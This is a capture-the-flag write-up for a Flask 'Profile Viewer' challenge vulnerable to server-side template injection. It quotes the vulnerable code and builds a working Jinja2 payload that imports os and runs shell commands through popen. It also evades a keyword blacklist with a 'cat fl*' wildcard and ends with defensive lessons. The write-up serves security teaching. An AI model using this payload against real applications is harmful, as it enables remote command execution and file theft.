Files
HIP7CTF_Writeups/render_me_this.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

109 lines
4.4 KiB
Markdown

# Render Me This
Welcome to the write-up for **Render Me This**. This challenge falls under the "web" category and demonstrates a severe vulnerability found in modern web frameworks known as **Server-Side Template Injection (SSTI)**.
We are presented with a "Profile Viewer" application that takes a user's name and renders a custom greeting. Our goal is to exploit the rendering engine to read the flag from the server.
---
## 1. Initial Reconnaissance
The challenge provides us with a URL and the source code. When we visit the site, we see a simple page greeting "Guest".
The URL likely looks like this:
`http://challenge-url/?name=Guest`
If we change the `name` parameter to `Test`, the page updates to say "Hello, Test!". This confirms that our input is being reflected on the page.
## 2. Source Code Analysis
Let's examine the provided `app.py` to understand how the page is generated.
```python
@app.route('/')
def index():
# Get the 'name' parameter
name = request.args.get('name', 'Guest')
# 1. Check for Blacklisted words
for bad_word in BLACKLIST:
if bad_word in name.lower():
return "Hacker detected! ..."
# 2. Vulnerable Template Construction
template = f'''
...
<h1>Hello, {name}!</h1>
...
'''
# Render the template
return render_template_string(template)
```
### The Vulnerability: SSTI
The critical flaw is in how the `template` string is constructed. The developer uses a Python f-string (`f'''... {name} ...'''`) to insert the user's input *directly into the template source code* before passing it to `render_template_string`.
In Flask (Jinja2), `{{ ... }}` is used to execute code within a template. By injecting `{{ 7*7 }}`, we can ask the server to calculate 7*7. If the page displays "49", we have code execution.
### The Obstacle: The Blacklist
The application attempts to secure itself with a blacklist:
`BLACKLIST = ["config", "self", "flag"]`
This means we cannot use the standard SSTI payloads like `{{ config }}` or `{{ self.__dict__ }}`. We also cannot simply run `cat flag.txt` because the word "flag" is forbidden.
## 3. Developing the Exploit
We need to find a way to access the Python `os` module to run system commands, without using the blacklisted words.
In Python web frameworks like Flask, the `request` object is often available in the template context. Through `request`, we can traverse the Python object hierarchy to reach the global scope and import modules.
**Step 1: Accessing Built-ins**
We can use the `request` object to access the global scope:
`request.application.__globals__`
From there, we can access Python's built-in functions:
`request.application.__globals__.__builtins__`
**Step 2: Importing OS**
Now we can use the `__import__` function to load the `os` module:
`request.application.__globals__.__builtins__.__import__('os')`
**Step 3: Executing Commands**
With the `os` module, we can use `popen` to execute shell commands and `read` to get the output:
`.popen('ls').read()`
**Step 4: Bypassing the "flag" Filter**
If we try to run `cat flag.txt`, the application will block us because it contains "flag".
We can bypass this using shell wildcards. instead of `flag.txt`, we can say `fl*`.
`cat fl*` matches `flag.txt` but doesn't contain the forbidden string "flag".
## 4. The Final Payload
Putting it all together, our payload looks like this:
`{{ request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read() }}`
We need to URL-encode this payload before sending it to the server.
**Encoded URL:**
`?name=%7B%7B%20request.application.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20fl*%27).read()%20%7D%7D`
## 5. The Solution
Sending the payload to the server executes the command, reads the flag file, and renders the result on the page.
**Flag:** `{flag:SSTI_Is_Pow3rful_Even_With_Basic_Filters}`
---
## Lessons Learned
* **Context Matters:** Never concatenate user input directly into a template string.
* **Use the Framework Correctly:** Always pass data as context variables to the render function.
* *Vulnerable:* `render_template_string(f"Hello {name}")`
* *Secure:* `render_template_string("Hello {{ name }}", name=user_input)`
* **Blacklists Fail:** trying to block specific words ("flag", "config") is rarely effective. Hackers can almost always find a way around them (e.g., string concatenation, encoding, wildcards).
Happy Hacking!